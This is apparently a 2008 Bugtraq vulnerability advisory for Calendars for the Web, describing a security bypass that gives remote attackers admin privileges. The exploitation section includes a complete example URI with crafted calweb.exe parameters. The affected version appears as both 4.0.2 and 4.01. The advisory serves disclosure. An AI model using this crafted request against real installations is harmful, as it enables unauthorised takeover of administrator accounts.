Calendars for the Web Security Bypass Vulnerability

Bugtraq ID:	31791
Class:	Design Error
CVE:
Remote:	Yes
Local:	No
Published:	Oct 16 2008 12:00AM
Updated:	Oct 20 2008 04:06PM
Credit:	SecVuln
Vulnerable:	Great Hill Corporation Calendars for the Web 4.0.2
Not Vulnerable:

Calendars for the Web Security Bypass Vulnerability

Calendars for the Web is prone to a security-bypass vulnerability.

Attackers can leverage this issue to gain admin privileges on the application.

Calendars for the Web 4.01 is vulnerable; other versions may also be affected.

Calendars for the Web Security Bypass Vulnerability

Attackers can exploit this issue using a browser.

The following example URI is available:

http://www.example.com/calendarWeb/cgi-bin/calweb/calweb.exe?cal=default&vt=6&cmd=900&act=0&dd=2008;10;03;12;00;00;&app=0&format=21x05i9r9s|SnriTmOdoaT&lastcmd=0

Calendars for the Web Security Bypass Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

Calendars for the Web Security Bypass Vulnerability

References:

• Calendars for the Web Homepage (Great Hill Corporation)